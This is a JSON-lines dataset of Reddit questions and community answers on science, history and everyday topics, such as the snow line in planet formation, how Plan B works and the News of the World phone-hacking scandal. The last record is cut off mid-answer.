{"q_id": "43b0sj", "title": "Is all the information needed make a human encoded in the genetic material of the fertilized egg or does the womb itself supply additional information?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/43b0sj/is_all_the_information_needed_make_a_human/", "answers": {"a_id": ["czhqba7", "czhwi1c"], "score": [6, 3], "text": ["The uterus doesn't supply additional information in the form of genetic material but it DOES affect fetal growth and development in other ways.  For example if it is unable to supply nutrients to the fetus properly then the fetus' growth will be restricted.", "There is a lot of interesting research on circulating proteins and small RNAs. These can originate in the mothers blood stream and potentially interact with the growing baby to regulate gene expression, since small RNAs can be taken up by cells. \n\nThe complexity of life far exceeds our current ability to understand it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1gaqm1", "title": "Was Crassus really executed by having gold poured down his throat?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gaqm1/was_crassus_really_executed_by_having_gold_poured/", "answers": {"a_id": ["caiedoc", "caieet4"], "score": [274, 42], "text": ["No.  He was killed during a meeting between himself and the Parthians while trying to negotiate-- his starving and tattered army forced him to go, and a fight broke out at the meeting and he was killed.  There *is* a story that he had molten gold poured down his throat post-mortem, but it is most likely a fiction we can thank Cassius Dio for.\n\nYou know who *was* executed with molten gold poured down his throat?  Manius Aquilius!^[1] During the Mithridatic Wars, he was defeated by Mithridates and promptly executed (specifically in this fashion) as a symbol of Roman greed.\n\n[1] [The Poison King: The Life and Legend of Mithradates, Rome's Deadliest Enemy](_URL_0_)", "Not to discourage further contributions, but FYI, this question has been asked  &  received answers \n\n[Is it true that Marcus Crassus was killed by being forced to drink molten gold?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/The-Poison-King-Mithradates-Deadliest/dp/0691150265"], ["http://www.reddit.com/r/AskHistorians/comments/19zkra/is_it_true_that_marcus_crassus_was_killed_by/"]]}
{"q_id": "5iiy6v", "title": "Imagine a Anglo-Saxon lord's feast table in 1048, imagine a Norman lord's feast table in 1103. Can you tell which is which from the food?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5iiy6v/imagine_a_anglosaxon_lords_feast_table_in_1048/", "answers": {"a_id": ["db8tsdo", "db8uj9h", "db8uw1t"], "score": [45, 386, 7], "text": [" Not an answer but a question for OP, are you asking about the different in feasting tables of England in 1048 Anglo-Saxon England vs 1103 Norman England? Or a feasting table in Anglo-Saxon England in 1048 vs a feasting table in Normandy in 1103?", "That's a very specific question.  The best answer is \"possibly, although we don't know for sure because food culture was not exhaustively documented on that level of detail.\" That is, we don't have information to say for sure that there there would be a drastic difference within 50 years, or, on the other hand, even if the normans brought french culinary tradition,  that 50 years after the invasion, due to differing local ingredients and separation, english Norman food might look more like Saxon food than their french-Norman kin. \n\nWe do know that the norman invasion did end up replacing much of the original aristocracy, and there's evidence to suggest they brought french norman culture with them, but also that some elements of the original culture remained and that due to different ingredients being available in England, the food would have differeed somewhat from french food.  You can look at a book [Regional Cuisines of Northern Europe](_URL_0_) which addresses this at least a little bit and talks about Norman French food vs English food. \n\nGenerally, food history in the pre-modern era  comes from two or three sources.   \n\n1. Archaeological evidence - physical evidence of food storage containers, food waste, seeds, agricultural evidence etc. \n\n2. Documentary evidence that discussed food, but usually for some reason incidental to the consumption of the food itself. This includes things like (a) military records that relate to how food was provided to soldiers, (b) merchants records that relate to the purchase or sale or store of food, (\n\n3. Historical accounts that mention food in the context of it being eaten, (something like \"and they feasted on olives and wine.) but these rarely go into exhaustive detail as to specifically what recipes were used.  One exception here is medical evidence, because food and drink and herbs had a component in medical wisdom of the time, and sometimes there were specific prescriptions for foods or herbs or drinks. \n\n4. Early food books  - the earlier cookbooks just about date to the era you're describing, (there are some roman ones as well though) although they're not generally norman/anglo saxon, but rather Italian or french.  Liber de Coquina is a recipe book that is believed to come from the naples area around the 12th-13th centuries.  The  Tractatus de modo preparandi  is of a similar age, but is believed to have a french author.   Historians believe that these were likely written more as description books rather than \"working\" cookbooks, because it is unlikely any working books would have survived.   Cooking in the medieval era is known to have been largely an apprentice based system (and I suppose you could argue it's one of the few systems that continues to the present day, although the Escoffier brigade system is of a far more recent origin). \n\nWe don't really know a whole lot about Anglo Saxon food, there are some scattered references.  ~~[One of the key sources is actually roman descriptions of Anglo Saxon culture](_URL_3_)~~ (NB - link struck out because that was a questionable source - better source below) but this does predate your period by 500 years. We know that they raised cattle and sheep and goats for milk and meat.  We know that they hunted for and ate Deer, wild boar and fowl, as well as fish and mussels and oysters. Codfish was something that was fairly common. Nettle, dandelion and mint were herbs that were used, and colder weather berries were common as well.    Roman references to cookware suggests that soups and stews were something that were eaten, and also meat was roasted.    \n\nEdit: [this is a much more sophisticated source on celtic and romano-british food](_URL_5_) as it would have existed in early to mid first millenium england. It likewise demonstrates that lots of our knowledge comes from roman sources. \n\n\nNorman medieval cuisine would have had substantially more in common with french cuisine of the time, and although it's difficult to specifically say as of 1048 or 1103,   norman cuisine was generally more developed and sophisticated than what we know of Anglo-saxon cuisine.  Although it post-dates your period slightly, you can look at something like [the king's table](_URL_4_) to look at what early medieval french food would have been like.  [you can also read the good-wife's medeval household book](_URL_1_) - it's an anonymous book written as advice to a hypothetical young bridge to an older noble husband, and among other things it contains sample menus for feasts.   -[here is a link to a pack of slightly modernized recipes derived from the king's table] (_URL_2_) it also lists several sources at the bottom.  French food at the time incorporated soups, sauces and dressings, as well as baked goods (other than bread) the beginnings of pastries, and there are sources that describe efforts to specifically produce desired \"looks\" for a meal, such that a dish might be prepared specifically with a color contrast in mind, and also that multi-course meals were something routine for feasts. \n", "To clarify, are you talking about one in the same location, as in the Norman lord ousted the Anglo-Saxon lord? Or do you mean one in England and one in France?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://books.google.com/books/about/Regional_Cuisines_of_Medieval_Europe.html?id=RpC-dQJub6MC", "http://www.cornellpress.cornell.edu/book/?GCOI=80140100274850", "http://blogs.getty.edu/iris/files/2011/01/kings_feast_recipe_pack.pdf", "http://research.uvu.edu/mcdonald/Anglo-Saxon/A-S-Life&amp;Culture/Food.html", "http://www.press.uchicago.edu/ucp/books/book/chicago/M/bo3683394.html", "http://www.academia.edu/1488019/Celtic_and_Romano_British_Foods_from_the_Isles-_a_General_Approach"], []]}
{"q_id": "13yu3u", "title": "Has stress always existed in humans?", "selftext": "I was thinking about this question the other day. Going back thousands of years to primitive man, there didn't seem to be much to worry about (ignoring needs for food/drink and shelter). Did they experience stress similar to that of today's society? Also, has average stress per human risen over time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13yu3u/has_stress_always_existed_in_humans/", "answers": {"a_id": ["c78dw2a", "c78g65q"], "score": [3, 2], "text": ["They didn't need to worry about anything other than food and shelter (as if that wasn't enough)? How about if they can mate with that attractive woman? Or if they will be eaten by whatever is making those noises at night? Or what the hell kind of monster is making lightning and thunder? Does the moon want him dead? Is that scratch on his foot going to fester, rotting off his leg and killing him from blood poisoning? Will he lose contests with rival men, and if so can he survive?\n\nIt astonishes me that people today think that the angst they feel about their cell phone payment is something entirely new to the human experience.", "The stress response existed in primitive people and it exists in animals. But that type of stress response is more like the one you mention--it's an acute stress response. \n\nToday, because we're not hunting for food and evading predators, stress has become a chronic problem. Instead of having spikes of the hormones response for creating the stress response, as is seen in acute stress situations, there's a constant increased level. \n\nConsider reading: _URL_0_\nIt's a really pleasant science read."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Why-Zebras-Dont-Ulcers-Third/dp/0805073698"]]}
{"q_id": "14bec6", "title": "RGB can't really produce true white can it?", "selftext": "As I learn more about the properties of light, I see more and more reasons to doubt what my eyes see. I know the white I see on a computer display is comprised of red, green and blue sub-pixels which *simulate* white light, but wouldn't monitors need more wavelengths of light to produce accurate white light? White light is comprised of **all** light in the visible spectrum after all.\n\nAlso, if I wanted to learn more about how different wavelengths of light are emitted, what are some good resources? I know photons are emitted because of electrons leaving an excited state (higher orbital) to a lower (base?) orbital. But I don't quite understand how this works in practice. I am interested in the engineering of display technology (LCD, OLED) and would really like to know more details about how they function on a deeper level.\n\nThanks :D", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14bec6/rgb_cant_really_produce_true_white_can_it/", "answers": {"a_id": ["c7bjltx", "c7bjmfb", "c7bjod4", "c7mraas"], "score": [3, 6, 8, 2], "text": ["Not in the spectral sense,  but you still see white.  It's called a white of higher order ( pardon my french litteraly ) you can observe it with a michelson\n\nEdit: sorry for the answer I was in class\n\n  _URL_0_  Figure 4\n\nApparently only french people have a name for this phenomenon, but as long as the proportion of base colors is approx equal it will appear to the eye as a 'dirty' because the way your eyes works they average incoming wavelength", "Light is a combination of n photons.  Each photon has an energy.  The number of photons is an integer number, but the value of the energy for any one photon is not discrete.  In that sense, you can never have 'all light in the visible spectrum', just as you can't have all values between 0 and 1.  There's an infinite number of values.\n\nWhite light has a somewhat subjective definition.  It is the combination of many colors in the visible spectrum.  Essentially, it is whatever it needs to be for our brains to interpret white.\n\nObjects which radiate like a blackbody release photons at 'all' energies, so you may be thinking of a white emitting object as a bright blackbody (like the sun).", "RGB is only visible light as decoded by humans specific to our biology and the cones in our eyes.\n\n[Good post here](_URL_0_) which explains a lot of your tangent questions as well.  For answers specific to your question skip to the \"The answers: Physiology (of course)\" heading.\n\nEssentially, your eyes/brain have three \"filters\" based on wavelengths.  Long is the red range.  Medium is the green range, and Short is the blue range.  Filter 1 is Long (Reds) vs Medium (Green). Filter 2 is  Long + Medium (Red  &  Green; aka Yellows) vs Short (Blues). Filter 3 is simply luminescence.  How does your brain get white?\n\nLet's assume that each switch is normalized to a scale of 100 to -100.\n\nFilter 1: Long vs Medium\n\nIs it red (+100) or green (-100)?  Red is 100 and Green is -100, so that nets to 0.  So neither? OK.\n\nFilter 2: Long+Medium vs Short\nIs it yellow (+100) or blue (-100)?  Yellow is 100 and Blue is 100, so that nets to 0 as well. \n\nLuminescence... full blast?  Bright white.\n\nFun fact: Magenta cannot be generated by a single wavelength because it is what we see when something is Red (Filter 1 at +100) and Blue (Filter 2 at 0) at the same time!!!  In other words, it has long wavelengths and short wavelengths, but nothing in the middle.", "The simple answer is RGB *can* produce a true white. The accurate answer is a bit more complicated. \n\nRGB is a limited colour space, meaning it can't reproduce the entire visible gamut. There are several RGB colour spaces, e.g. Adobe RGB, or Microsoft's sRGB. The difference is the choice for the R, G, and B locations within the visible gamut. The three locations create a triangle and only colours within that triangle can be reproduced by that RGB colour space. There's no agreement on where Red, Green and Blue should be, which is why we have multiple RGB colour spaces.\n\nWhite is definitely inside every RGB colour space. However the \"whitepoint\" is also an arbitrary choice. D65 is a common choice, which roughly corresponds to a black body heated up to 6500 Kelvin, and looks basically like daylight in most of Europe. Different locations on the Earth have different daylight, so the choice of white is pretty subjective. \n\nNow it gets even more complicated. Your monitor will have technological limitations which means \"red\", \"green\", \"blue\" and \"white\" don't match those colours from the RGB colour space. Also different monitor technologies have completely different colours. Microsoft's sRGB was chosen to match the colour characteristics of typical CRT monitors in a typical office or home environments. Obviously this will be different to the colours of an LCD monitor.\n\nSo there's this disconnect between the RGB colour space, the monitor technology, and the colour gamut your eye can actually see. They don't entirely overlap with each other. RGB is actually a terrible colour space, missing out on lots of yellows that your eye can see. The best colour space model is something like CIELAB which can reproduce the entire visible gamut, but CIELAB is only used in professional software like Photoshop. \n\nIn practise we have to live with imperfect monitors and imperfect colour spaces."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Michelson_interferometer"], [], ["http://blog.asmartbear.com/color-wheels.html"], []]}
{"q_id": "125e5b", "title": "What do the historians of Reddit think of Alison Weir?", "selftext": "I've heard a few disparaging comments about her work here and there. Now, I've read a few of her books and I really enjoyed them. I felt at first like I'd learned quite a lot from them, but then I see comments on here or on /r/history disparaging her work and that makes me doubt whether I've learned anything at all. As a non-historian who's very interested in the history of medieval and renaissance Europe, I'd like to know if her books are ahistorical, or if they might mislead me in any way. \n\nAm I safe reading her work, or should I look for other authors instead?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/125e5b/what_do_the_historians_of_reddit_think_of_alison/", "answers": {"a_id": ["c6sc8x5", "c6sclgx"], "score": [2, 2], "text": ["I've never read them, but I can tell you that in my early modern Britain class as an undergrad (quite a few years ago now), there was a contingent of Alison Weir fans. They drove the instructor a bit batty, and the instructor clearly considered it more fiction than history. ", "Her  1992  book  \"The  Princes  in  the  Tower\"  was  offered  by  the  History  Book  Club,  with  a  glowing  review.  They  do  sell  some  of  her  subsequent  work,  but  do  not  give  those  works  glowing  reviews,  and  have  sequestered  them  into  their  Historical  Fiction  section.  Therefore, she  seems  to  be  guilty  of  \"gilding  the  lily\"  and  reading  to  much  into  the  primary  sources  or  expanding  on  them  more  than  would  be  warrented  by  a  rigerous  historian.  However,  people  who  are  big  fans  of  the  Tudor  Period  really  like  her  work.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5kwwqu", "title": "Is there any reason why all the gas giants in our solar system formed in the outer solar system? Why didn't any gas giants form in the inner solar system?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5kwwqu/is_there_any_reason_why_all_the_gas_giants_in_our/", "answers": {"a_id": ["dbruvet"], "score": [31], "text": ["What's important here is a concept known as the \"snow line\".\n\nWater can only exist in two states out in space - as a gas, or as ice. Since the pressure is essentially zero in space, water's phase will only depends on temperature. In our solar system, this threshold is located somewhere around 5 AU (where 1 AU = the average distance between the Sun and Earth), and is known as the snow line. For space inside of 5 AU, water is generally found as a gas, while for space outside of 5 AU, it's generally found as ice.\n\nThis threshold is very important for solar system formation. If you imagine proto-planets slowly building up from dust grain sizes up to planetary sizes, you can build a lot faster with rock and ice rather than rock alone. This is especially important if you want hydrogen gas to be a significant percentage of your planet - the general rule of thumb is that a proto-planet needs to be about 10 Earth-masses or greater before it has enough gravitational force to hold on to hydrogen.\n\nAlso remember that as the Sun ignites, it also starts blowing all that gas out of the system over relatively short timescales, so the places where the proto-planets can grow to 10 Earth-masses the quickest are the places that are eventually going to have planets with lots of gas. Again, reaching this 10 Earth-mass threshold will happen the fastest for planetary cores made of both rock and ice rather than just rock alone...but that can only happen outside the snow line.\n\nIt's no surprise, then, that Jupiter is at 5.2 AU, just outside the snow line, and the remaining giant planets are out beyond that. Inside the snow line, meanwhile, nothing got massive enough to hold on to hydrogen gas, so we just see rocky planets there.\n\n**TL;DR**: Out past 5 AU, water in space becomes ice. This is important because the proto-planets beyond that distance could be built from both rock and ice, allowing them to more easily reach the 10 Earth-mass threshold required to hold on to hydrogen gas.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9h3uux", "title": "if you're getting a normal amount of sleep, like 9hrs, does it matter if it's not from let's say 11pm to 8am but rather from 3am to 12pm?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9h3uux/eli5_if_youre_getting_a_normal_amount_of_sleep/", "answers": {"a_id": ["e68wcib", "e68wmr2", "e68xob5", "e68zhyt"], "score": [13, 4, 3, 9], "text": ["Really good book by a renowned sleep scientist called \u201cSleep: The Myth of 8 Hours, the Power of Naps... and the New Plan to Recharge Your Body and Mind\u201d  . I think he would argue that no it\u2019s not the same because you\u2019re sleeping against humans natural circadian rhythm . Either way if you\u2019re interested it\u2019s a short interesting read or I\u2019m sure you can find some lectures .", "9 is normal??!! I\u2019m probably averaging 6-7!", "One other thing I forgot to mention in my title, does it matter if you're getting those 8-9 hours of sleep but like interrupted? I usually have to go to the bathroom once after 4-5 hrs of sleep and then maaaybe once more. I'm thinking the body might not be reading that like if it was 8hrs of non-interrupted sleep.", "So your circadian rhythm controls the amount of melatonin in your body. More melatonin means you are sleepier\n\nA few things control your circadian rhythm but the biggest one is daylight. If you could live in a controlled environment where you can control the light, then it would be fine. Some of the other things that regulate the circadian rhythm is eating, exercise and even bowel movements.\n\nSo if you can shift all of those things to being at the right time, then yeah it doesn't make any difference. \n\nBut if not, it will really really degrade the quality of sleep you get. \n\nAlso I noticed that someone posted about napping throughout the day. I wouldn't recommend it. Supposedly, the best way of sleeping is called a biphasic pattern. One 7-8 hour sleep at night, and a one hour sleep after lunch. Have you ever noticed that you tend to feel more tired after lunch? Sometimes people call it \"the 2 o'clock coffee crash\". It's not a caffeine crash, you're just supposed to sleep then because that's how your biology is! There are cultures that still practice this and they have some of the highest life expectancies in the world (it's like 90 something. Sleep is hella important)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3wm1p2", "title": "in professional wresting, how do they make the wrestlers \"bleed\"?", "selftext": "I'm of course referring to things like WWE where someone is literally gushing blood but keeps \"fighting\" for half an hour.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wm1p2/eli5_in_professional_wresting_how_do_they_make/", "answers": {"a_id": ["cxx7ogk", "cxx7os0", "cxx7rfe", "cxx9b7r", "cxx9fj4", "cxxm3fp"], "score": [8, 5, 16, 3, 4, 2], "text": ["Blade themselves with a razor blade normally hid in their taped up wrists or given to them by referees.", "I'm not sure about these days but back in the hulk hogan days they used to cut themselves with razors really fine then the cuts would open up during the fight and since it was scripted they'd go after the spots that were planned to be bleeding", "Razor blades under the ring. They cut a \"dead spot\" just under the hairline. Dead spot meaning no nerves. Bleeds a lot but it's mostly superficial. ", "In addition to \"blading,\" as mentioned, sometimes (less frequently these days) they do what's called \"hardway\" bleeding. It's a technique to strike downward with the knuckles to bust someone open. Most people think they use blood capsules or packets, which is almost unheard of in professional wrestling.\n\n*And, if it's called for to bleed from the mouth, they will sometimes bite the inside of the lower lip", "In the ol days when it was more common, they would hide the corner if a razor blade in a taped up wrist. Then when knocked down, hide their face in the floor and arm, like a kid sleeping at a school desk, and slice a little just around the hairline. Doesnt hurt(compaired to the other moves that still hurt a bit) and head wounds bleed a lot. So just a quarter inch cut causes a lot of blood, which mixed with sweat, and constant touching(elbows, punches, body to body contact) it gets smeared around a lot.\n\nFor the most part nowdays, wrestlers are told not to bleed, unless it is an important match, where bloodshed will be important to show how 'violent' this rivalry is.\n\nSometimes it is real, you'll notice a bit lip, or a small scrape or scratch, and rarely is it real and serious.\n\nI dont know the match, but it is shown quickly in the dont try this at home montage before some old dvds i have, but someone had a nasty gash from one side of the back to the other(ring steps maybe), or there is an obvious fuckup [joey mercury ladder fuckup](_URL_0_)", "They legit make themselves bleed with a blade by slicing a section on their forehead. They call it \"blading\"\n\nHeres a video that is NOT for the faint of heart. It's from Judgement Day 2004. You can clearly observe that eddie guerrero takes his chance to cut himself up while he is slumped over. In this incident, he cuts himself too deep and slices an artery O__O and he wrestles on for quite some time after doing so. There was a lot of blood on the ring\n_URL_0_\n\nI stopped watching after the PG era started (when they switched to a PG rating to get more viewers) but from what I know, they dont blade anymore"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://m.youtube.com/watch?v=qiRbmQTxdkI"], ["https://www.youtube.com/watch?v=wFVD0u90CmQ"]]}
{"q_id": "9duugi", "title": "How does Plan B work on the molecular level? Can it prevent the implantation of an already fertilized blastula?", "selftext": "I am aware that the primary mechanism by which Plan B works is through preventing fertilization in the first place, mainly by preventing ovulation. However, I have read that in the even that the egg \\*is\\* fertilized, Plan B can prevent it from implanting in the uterus. I am curious by what mechanism the drug actually works to prevent fertilization, or, if that does not work, prevent implantation.\n\n & #x200B;\n\nAlso, I am aware that many fertilized eggs fail to implant naturally, so I assume that by \"preventing it from implanting\" sources mean that they increase the likelihood that implantation will fail to occur. How much more likely is it with taking Plan B than without?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9duugi/how_does_plan_b_work_on_the_molecular_level_can/", "answers": {"a_id": ["e5kh3f3", "e5lfnr9", "e5lh3ye"], "score": [6, 2, 3], "text": ["Jury's still out on whether levonorgestrel (Plan B) does indeed prevent implantation of a fertilized egg, the evidence is conflicting. Pharma had to remove their claims that it prevents implantation in the EU, for instance. Since it's virtually impossible to prove a negative (that Plan B doesn't prevent implantation) they've changed the wording (at least in the US) to claim it \\*may\\* prevent implantation of a fertilized egg. \n\n & #x200B;\n\nTo non-answer your last question (the likelihood of implantation with and without Plan B), we'll likely never know. Too many variables in an observational study and too unethical to directly study it. ", "Levonorgestrel activates the progesterone receptor, which in turn inhibits the release of oocytes from ovarian follicles. Basically, the ovary acts as if the woman is already pregnant and doesn't release a new egg.\n\nThere's some controversy over whether levonorgestrel prevents implantation of a fertilized egg. It does have some effects on the mucus thickness of the cervix and uterus, but there is no evidence that this prevents implantation.", "This [study](_URL_0_) has been done before.\n\n & #x200B;\n\nThe punchline is this: Timing matters. But there are several things to consider : \n\n1. Time of intercourse relative to the time of ovulation, \n2. when you take Plan B, \n3. and the duration of sperm survival in the vagina. \n\n & #x200B;\n\nSome rather resilient Sperm can last up to 5 days post intercourse, which is *partly* why PlanB is given in such a high dosage (because the half life is \\~ 27.5hrs and will remain in your system for about 1 week). But most cases of Plan B failure occurs in women who had intercourse on the day of, or day before ovulation and don't take PlanB immediately (usually 2 days post ovulation).  The more important statistic is the exact reverse. No pregnancies were observed in women who took Plan B before Ovulation. Which is to say this... Birth control is most effective as a prophylaxis (preventing ovulation), rather than a post exposure. \n\n & #x200B;\n\nPlease note that this was just a small scale study of 99 women. But it does suggest, that PlanB isn't very effective at preventing implantation (compared to control).\n\n & #x200B;\n\n Interestingly, women who abuse PlanB, taking it 2-3 times in a single cycle are at increased risk of [ectopic pregnancy](_URL_1_). And I'm sure this suggests something about its efficacy / alteration of implantation. \n\n & #x200B;\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.ncbi.nlm.nih.gov/pubmed/17241840", "https://www.nature.com/articles/srep08487"]]}
{"q_id": "3d39jy", "title": "how does a satellite radio (siriusxm) authenticate users?", "selftext": "There are millions of people who subscribe to SiriusXM satellite radio, so I highly doubt the company would (or could, for that matter, running on 2.4GHz) create an independent encrypted broadcast for each individual receiver. But if they use a single key to encrypt all the radio, they'll need to find a way to give the receivers the keys by contacting each one individually, so how do they do that?\nThanks in advance guys, you're the best!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3d39jy/eli5_how_does_a_satellite_radio_siriusxm/", "answers": {"a_id": ["ct1fhx2"], "score": [2], "text": ["Every radio has a unique ID -- and a unique decryption chip inside. They don't need to transmit a separate encrypted stream for each radio -- they simply need to transmit the decryption keys for every authorized radio. The radio looks for its ID and the decryption key with it and then uses that key to decrypt the transmission. \n\nThe key for your radio is different than the one for mine. So it just ignores the transmitted keys for every other radio since those are useless to it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tf6rf", "title": "Why do some some grand unification theories, such as the SU(5) Georgi\u2013Glashow model and SO(10), require proton decay to be true?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5tf6rf/why_do_some_some_grand_unification_theories_such/", "answers": {"a_id": ["ddm6b82", "ddmatel"], "score": [16, 14], "text": ["From the [Wikipedia article on proton decay](_URL_0_):\n\n > Some beyond-the-Standard Model grand unified theories (GUTs) explicitly break the baryon number symmetry, allowing protons to decay via the Higgs particle, magnetic monopoles or new X bosons with a half-life of 10^(31) to 10^(36) years.\n\nIt's also worth mentioning that nature seems to obey the [totalitarian principle](_URL_1_):  \"anything not forbidden is compulsory.\"  In other words, if a decay is *allowed* to happen, then it *will* happen (or rather, it has some probability to occur within a given time period; if multiple decay modes are available, only one of them will occur of course).\n\nSo in the standard model, protons do not decay because there is no decay mode available to them which satisfies all of the necessary conservation laws, in particular conservation of baryon number.  In most GUTs, baryon symmetry is broken which means baryon number is no longer a strict conservation law, so decay modes for the proton become available which violate baryon number.\n\nHope that helps!", "Grand unification combines the strong, weak, and electromagnetic forces into a single master force.  Doing this requires embedding the known forces in a larger structure, and that larger structure is going to create processes that would not exist without unification (if you don't have something new, all you have is the Standard Model, after all).\n\nJust as this master force will combine the known forces into something larger, it will take the known particles and link them in ways beyond what the standard model does.\n\nThe net effect, generally, will be forces that link the quarks in leptons.  Whereas in the Standard Model, the processes we observe preserve the net number of quarks (number of quarks minus the number of antiquarks) and the net number of leptons, the new features in the grand unified theory will allow these numbers to change.  And thus the proton will no longer be stable, as there are lighter states with positive charge and the necessary spin.\n\nA little detail: The Standard Model has some unobserved, extraordinarily rare processes known as [sphalerons](_URL_0_) that lead to proton decay.  I forget the exact number, but they imply a proton life of something like 10^(130) years, but it is possible that there was a point in the very early universe where sphaleron processes were relevant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Proton_decay", "https://en.wikipedia.org/wiki/Totalitarian_principle"], ["https://en.wikipedia.org/wiki/Sphaleron"]]}
{"q_id": "j2sxq", "title": "phone hacking scandal(li5)", "selftext": "Can someone explain concisely what the deal with the phone hacking nonsense is. Why do people care about it, and why should I?\n\nI'm not ignorant but frankly there's too much to look into and even after digging around I still can't get concise answers. Maybe I'm missing something, help a guy out.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j2sxq/phone_hacking_scandalli5/", "answers": {"a_id": ["c28o7hs", "c28oiiu"], "score": [22, 3], "text": ["The News of the World was a tabloid paper in Britain known for it's outstanding scoops in areas that one might find in a tabloid (sex, sports, celebrity, scandal, sometimes even politics).  Cell phone (mobile phone) voice mail (answerphone) is notoriously easy to hack in to.  Some journalists for the News of the World hired private investigators to gather information on some celebrities and politicians in the UK.  The private investigators then - either on their own, or with the help of hackers - hacked the phones of the celebrities to gather information on their lives.  They got caught, it was a mid sized scandal in the British media, and they went to jail.\n\nAndy Coulson, who was the editor of the News of the World at the time that the crimes took place, was hired by David Cameron before he became the Prime Minister of the UK, after this story broke.  When Cameron became Prime Minister, Coulson became his chief media strategist, perhaps equivalent to the White House Press Secretary.  The story carried along in the background, occasionally creeping in to the headlines.\n\nEarly last decade, Rebecca Brooks, who used to be the editor of NOTW, admitted to a group of MPs that they had paid Police officers for confidential information.  This raised doubts about the reliability of the Police investigation into phone hacking, seeing as the police themselves were implicated.\n\nOddly (it wasn't a big story at all in the United States), the New York Times was one of the groups responsible for investigating this story, though there I don't really know much.\n\nEarlier this year, it became clear (though not yet legally proven) that some of the people hacked were the families of victims of the 2005 London bombings, families of military killed in action, and a 13 year abduction-murder victim whose disappearance captured public imagination, amongst others.  In the case of the 13 year old murder victim, the hackers deleted messages, because the voice mail was at capacity, and they wanted to allow for new messages.  This mislead the family and investigating officers, possibly destroying evidence.  The killer went on to murder again.\n\nThe public outcry in the UK reached fever pitch, and because the NOTW is owned ultimately by News Corp, the company which owns Fox News, and so on, the story became big in the US.\n\nNews Corp wanted to increase it's share in BSkyB, one of the UKs major broadcast networks, in order to control the company, though this raised concerns about the diversity of the media in the UK.  The UK Government, which was backed at the last election by News Corps stable of British papers, was about to rule on whether to allow the share purchase.  They came under pressure not to allow it, and so Rupert Murdoch, the founder, CEO, and biggest share holder of News Corp, closed the NOTW, the most read English language paper in the world, at the time of it's closure.  Over 100 people became unemployed. Despite this, the government reffered the merger to the competition commission which is less likely to rule in favor, and won't rule for some months.", "A few years ago, a girl was missing in the UK. A British newspaper which NewsCorp owned and looked over was found to have hacked into the missing girl's phone to listen to her voicemails, in an attempt to get a journalistic \"scoop\" of some sort. The girl was never found and is presumed dead, but her family and friends thought she was alive as the hackers deleted messages from her phone, making her once full voicemail inbox no longer full.\n\nThis, combined with an incident from a few years back when the same NewsCorp property got in trouble for supposedly hacking into the voicemails of British royals, led to a snowball effect. Everyone from celebrities to former British Prime Minister Gordon Brown came out and stated that their voicemails were improperly accessed by NewsCorp's properties.\n\nOther NewsCorp properties are rumored to have hacked into the phones of families of deceased British soldiers. In the United States, the FBI has launched an investigation into claims that the company's American division (including such properties as FOX News and The Wall Street Journal) attempted to bribe a New York City police officer for access to 9/11 victims' private voicemails.\n\nNewsCorp head Rupert Murdoch, and his son James (also a big official in the company) were brought in front of British government members to explain the actions of their company. The Murdochs, or other NewsCorp officials, may be summoned to face an investigative body in the U.S. depending on the results of the FBI investigation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "v7zjm", "title": "Have there been any miraculous solutions to wars or conflict we thought would never end?", "selftext": "At my work, I am transcribing an interview with a young Israeli woman and it has me really depressed about the Palestinian question and any hope for lasting, peaceful solution. I'm not really looking for a solution to this problem based on historical precedence (although, feel free to add that, if you wish!), but I am curious if there are any similar situations that ended in a peace no one expected. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v7zjm/have_there_been_any_miraculous_solutions_to_wars/", "answers": {"a_id": ["c524a5l", "c5256i1", "c525emx", "c52f41t"], "score": [9, 2, 4, 3], "text": ["Two that have happened in my lifetime:\n\nThe fall of the Berlin Wall, the symbol of the folding back of the Iron Curtain, and the freeing of Nelson Mandela, leading the establishment of democracy in South Africa. Before these events, both situations seemed to be unending stalemates, impossible to overcome.", "When  the  Empress  Elizabeth  of  Russia  died,  her  nephew  became  Tsar  Peter  III.  He  grew  up  in  Northern  Germany  and  idolized  Frederick  the  Great.  After  becoming  Tsar,  he  quickly  made  peace  with  Prussia,  at  a  time  when  Prussia  was  \"on  the  ropes\".  The  Seven  Years  war  ended  soon  thereafter.    ", "The peaceful dismantling of the Soviet Union may be the most prominent example in human history because the Soviet Union's sphere of influence was so large and so at odds with the rest 